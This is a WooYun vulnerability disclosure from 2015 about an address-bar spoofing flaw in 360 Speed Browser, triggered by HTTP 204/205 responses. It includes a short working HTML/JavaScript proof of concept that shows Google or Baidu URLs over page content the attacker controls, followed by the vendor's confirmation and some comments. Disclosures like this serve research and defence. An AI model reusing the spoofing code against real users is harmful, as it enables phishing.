当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128653

漏洞标题：360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等

相关厂商：奇虎360

漏洞作者： blast

提交时间：2015-07-23 15:26

修复时间：2015-10-22 10:08

公开时间：2015-10-22 10:08

漏洞类型：设计错误/逻辑缺陷

危害等级：中

自评Rank：7

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-23： 细节已通知厂商并且等待厂商处理中
2015-07-24： 厂商已经确认，细节仅向厂商公开
2015-07-27： 细节向第三方安全合作伙伴开放
2015-09-17： 细节向核心白帽子及相关领域专家公开
2015-09-27： 细节向普通白帽子公开
2015-10-07： 细节向实习白帽子公开
2015-10-22： 细节向公众公开

简要描述：

360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等
附赠两个HTTP204，一个百度一个谷歌

详细说明：

<meta name="renderer" content="ie-comp">


可以强制页面运行在ie模式下，示例演示从127.0.0.4/h.htm创建一个窗口，窗口的内容可被h.htm修改。

<html>
<head>
<meta name="renderer" content="ie-comp">
</head>
<body>
<title>hello</title>
</body>
<script>
window.open("javascript:document.write('15')","v");
window.open("http://www.google.cn/csi","v");
//window.open("http://c.baidu.com/","v")
var hh = window.open("","v"); //get a reference of window v
hh.document.open();
hh.document.write("<title>google</title>123");
hh.document.close();
</script>
</html>

漏洞证明：

fake.png

fake2.png

修复方案：

处理好HTTP204/205时URL栏的逻辑

版权声明：转载请注明来源 blast@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2015-07-24 10:07

厂商回复：

非常感谢白帽子的反馈，我们已经着手修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-23 15:41 | 牛 小 帅 ( 普通白帽子 | Rank:431 漏洞数:98 | 什么狗屁爱，生活已乱套！人的一生中，...)

    先占个位置

  2. 2015-07-24 10:16 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    叫地主，不叫，抢地主，我抢，3分！

  3. 2015-07-24 14:37 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    @px1624 →＿→

  4. 2015-07-28 09:48 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1606 漏洞数:186 | 关注技术与网络安全（不收徒，不招人，任何...)

    -0- 难道是写ppt写出来的漏洞

  5. 2015-07-28 12:58 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    @梧桐雨 →＿→差不多是这样。。